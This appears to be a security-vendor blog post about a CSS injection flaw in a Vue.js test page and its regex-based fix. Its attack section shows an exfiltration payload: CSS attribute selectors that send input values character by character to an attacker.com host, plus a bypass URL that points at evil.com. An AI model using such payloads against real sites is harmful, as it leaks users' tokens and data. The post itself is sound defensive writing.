Back to Blog
critical SEVERITY5 min read

How CSS Injection via Weak Pattern Validation happens in Vue.js and how to fix it

A critical CSS injection vulnerability in `testpage/App.vue` allowed attackers to bypass weak HTML5 pattern validation and load malicious stylesheets. The fix replaces direct variable assignment with a hardened `setCustomStylesheetHref()` method using strict regex validation.

O
By Orbis AppSec
Published September 9, 2026Reviewed September 9, 2026

Answer Summary

This is a CSS injection vulnerability (CWE-73) in a Vue.js test page component. The `testpage/App.vue` file used weak HTML5 pattern validation (`pattern="https://.*.css"`) that could be bypassed to inject attacker-controlled stylesheets via the `customStylesheetHref` variable bound to a `<link>` element's `:href`. The fix replaces the inline `@click="customStylesheetHref = editCustomStylesheetHref"` assignment with a dedicated `setCustomStylesheetHref()` method that applies strict server-side-style regex validation (`/^https:\/\/[\w.-]+(?:\/[\w.\-\/%]*)*\.css$/i`) before updating the reactive property.

Vulnerability at a Glance

cweCWE-73 (External Control of File Name or Path)
fixReplaced inline assignment with validated setter method using strict anchored regex
riskAttackers could load malicious stylesheets to exfiltrate data via CSS selectors, deface UI, or chain with other vulnerabilities
languageVue.js / JavaScript
root causeWeak HTML5 pattern attribute bypassable by newline injection and other techniques; direct assignment of tainted input to href binding
vulnerabilityCSS Injection / External Resource Injection

Introduction

In a Tauri-based application's test page, we discovered a critical external resource injection vulnerability in testpage/App.vue that could have allowed attackers to load malicious stylesheets into users' browsers. The issue centered on line 30's input field for custom stylesheets, which relied solely on a weak HTML5 pattern attribute for validation—client-side protection that sophisticated attackers routinely bypass.

The vulnerable code allowed direct assignment of user input to a reactive property bound to a <link> element's :href, creating a clear path for CSS injection. While this might seem like a minor UI customization feature, CSS injection can enable data exfiltration, sensitive information harvesting via CSS selectors, and serve as a building block for more complex attacks.

The Vulnerability Explained

The Problematic Code Pattern

The original code on line 31 of testpage/App.vue contained this dangerous pattern:

input#url.input(inputmode="url" type="url" v-model="editCustomStylesheetHref" 
  placeholder="https://example.com/styles.min.css" 
  pattern="https://.*.css" size="30")
button(type="button" @click="customStylesheetHref = editCustomStylesheetHref") Insert

Two critical flaws made this exploitable:

  1. Weak pattern validation: The regex https://.*.css is anchored neither at start nor end, allowing injection like https://evil.com/malicious?x=.css\nhttps://victim.com/styles.css

  2. Direct assignment to bound property: The @click handler immediately assigned tainted input to customStylesheetHref, which was bound via :href to a <link rel="stylesheet"> element

How the Attack Works

An attacker could exploit this by:

  1. Entering a URL like https://attacker.com/exfil.css?data=
  2. The pattern attribute might pass validation due to its weak anchoring
  3. Clicking "Insert" immediately loads the stylesheet in the victim's browser context
  4. The malicious CSS can use selectors to exfiltrate data:
    css input[value^="a"] { background: url(https://attacker.com/?a); } input[value^="b"] { background: url(https://attacker.com/?b); } /* ... character-by-character token extraction */

Since this is a Tauri application, injected CSS could potentially interact with native APIs through CSS-injected JavaScript (in older browsers) or combine with other Tauri-specific vulnerabilities for privilege escalation.

The Fix

The security patch introduces a dedicated validation method that replaces the dangerous inline assignment:

Before (Vulnerable)

button(type="button" @click="customStylesheetHref = editCustomStylesheetHref") Insert

After (Hardened)

button(type="button" @click="setCustomStylesheetHref") Insert
methods: {
  setCustomStylesheetHref() {
    if (/^https:\/\/[\w.-]+(?:\/[\w.\-\/%]*)*\.css$/i.test(this.editCustomStylesheetHref)) {
      this.customStylesheetHref = this.editCustomStylesheetHref
    }
  },
  // ...
}

Why This Fix Works

Aspect Before After
Validation HTML5 pattern attribute (client-side, bypassable) JavaScript regex in method (enforced)
Anchoring Unanchored .* Strict ^...$ anchors
Domain validation None [\w.-]+ restricts valid hostname characters
Path validation None Explicit [\w.\-\/%]* whitelist
Assignment Direct, unconditional Conditional on validation success

The new regex ^https:\/\/[\w.-]+(?:\/[\w.\-\/%]*)*\.css$ provides defense in depth:
- ^ and $ anchors prevent prefix/suffix injection
- [\w.-]+ ensures valid hostname characters only
- The path component explicitly whitelists safe characters
- The .css extension is enforced at the true end of string

Key Takeaways

  • HTML5 pattern attributes provide zero security—they're bypassable via newline injection, DOM manipulation, or direct API calls. Always implement validation in executable code.

  • The testpage/App.vue:30 input field previously allowed direct assignment to customStylesheetHref without server-equivalent validation, violating the principle that client-side controls must be duplicated server-side (or in this case, in application logic).

  • The setCustomStylesheetHref() method now enforces strict hostname and path character restrictions before updating the reactive property, eliminating the bypass vector.

  • Vue.js's reactivity system makes it easy to accidentally bind tainted input directly to dangerous attributes—always interpose validation methods between user input and security-sensitive bindings.

  • This vulnerability demonstrates exploit primitives: Even "test pages" in applications can expose dangerous functionality that automated attack tools can chain into full exploits.

How Orbis AppSec Detected This

Source: User input via v-model="editCustomStylesheetHref" in the stylesheet URL input field at testpage/App.vue:30

Sink: Dynamic :href binding to <link> element loading external stylesheets

Missing control: Server-side-equivalent validation of URL structure; reliance on bypassable HTML5 pattern attribute; direct assignment of tainted value to security-sensitive property

CWE: CWE-73 (External Control of File Name or Path)

Fix: Introduced setCustomStylesheetHref() method with strict anchored regex validation before updating customStylesheetHref

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability in testpage/App.vue illustrates a common but dangerous pattern: trusting client-side validation for security-critical decisions. The weak pattern="https://.*.css" attribute created a false sense of security while the direct assignment @click="customStylesheetHref = editCustomStylesheetHref" provided an open door for attackers.

The fix demonstrates proper defense-in-depth: keep user input in a separate model property, validate with strict server-equivalent regex in a dedicated method, and only then update the bound property. For Tauri and similar hybrid applications, this pattern is essential—the bridge between web content and native capabilities makes injection vulnerabilities particularly dangerous.

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #27

Related Articles

medium

How XML External Entity (XXE) Injection happens in Python and how to fix it

A script that unpacks and parses XML from `.pptx`/`.docx`-style zip archives was importing Python's native `xml.dom.minidom`, a parser known to be vulnerable to XML External Entity (XXE) attacks. The fix swaps it for the drop-in `defusedxml.minidom` module, neutralizing the risk with a two-line import change and zero behavior changes for legitimate input.

critical

How Unvalidated Dynamic Component Loading happens in TypeScript/Viewi and how to fix it

A critical vulnerability in Viewi's component loader allowed attackers to inject malicious JavaScript through compromised or MITM-attacked external component servers. The fix adds proper HTTP response validation before parsing dynamically fetched JSON components.

high

How Denial of Service via Crafted ZIP File happens in Node.js and how to fix it

CVE-2026-39244 is a high-severity denial of service vulnerability in the adm-zip npm package that allows attackers to crash Node.js applications by uploading maliciously crafted ZIP files. The fix upgrades adm-zip from version 0.5.16 to 0.6.0, which adds proper memory bounds checking to prevent excessive allocation during archive extraction.

critical

How prototype pollution happens in JavaScript AST traversal and how to fix it

A critical prototype pollution primitive was fixed in `src/traverse/estraverse` where visitor-supplied child keys were merged with `Object.assign(Object.create(this.__keys), visitor.keys)`. Because `Object.assign` uses assignment semantics, a key literally named `__proto__` reached the `Object.prototype` setter and rewired the prototype chain of the traversal key map instead of being stored as data. The fix replaces the merge with an object spread (`{ ...VisitorKeys, ...visitor.keys }`), which *

critical

How SQL injection happens in Python DuckDB view creation and how to fix it

A critical SQL injection flaw in `python/src/idx/api.py:265` built five DuckDB `CREATE VIEW` statements with Python f-strings, interpolating a filesystem path directly into SQL text. The fix replaces the interpolated path with a bound parameter (`read_parquet(?)`) and moves the view names into a hardcoded, non-interpolated statement map — eliminating any path where filenames or directory values can alter SQL structure.

critical

How stored XSS happens in TinyMCE plugins and how to fix it

The snippets plugin's `Main.ts` inserted raw, unsanitized snippet content directly into the TinyMCE editor via `editor.insertContent(snippet.content)`, allowing stored JavaScript payloads saved by any snippet editor to execute in every user's browser. The fix routes snippet content through TinyMCE's own parser and serializer before insertion, stripping dangerous markup while preserving legitimate formatting.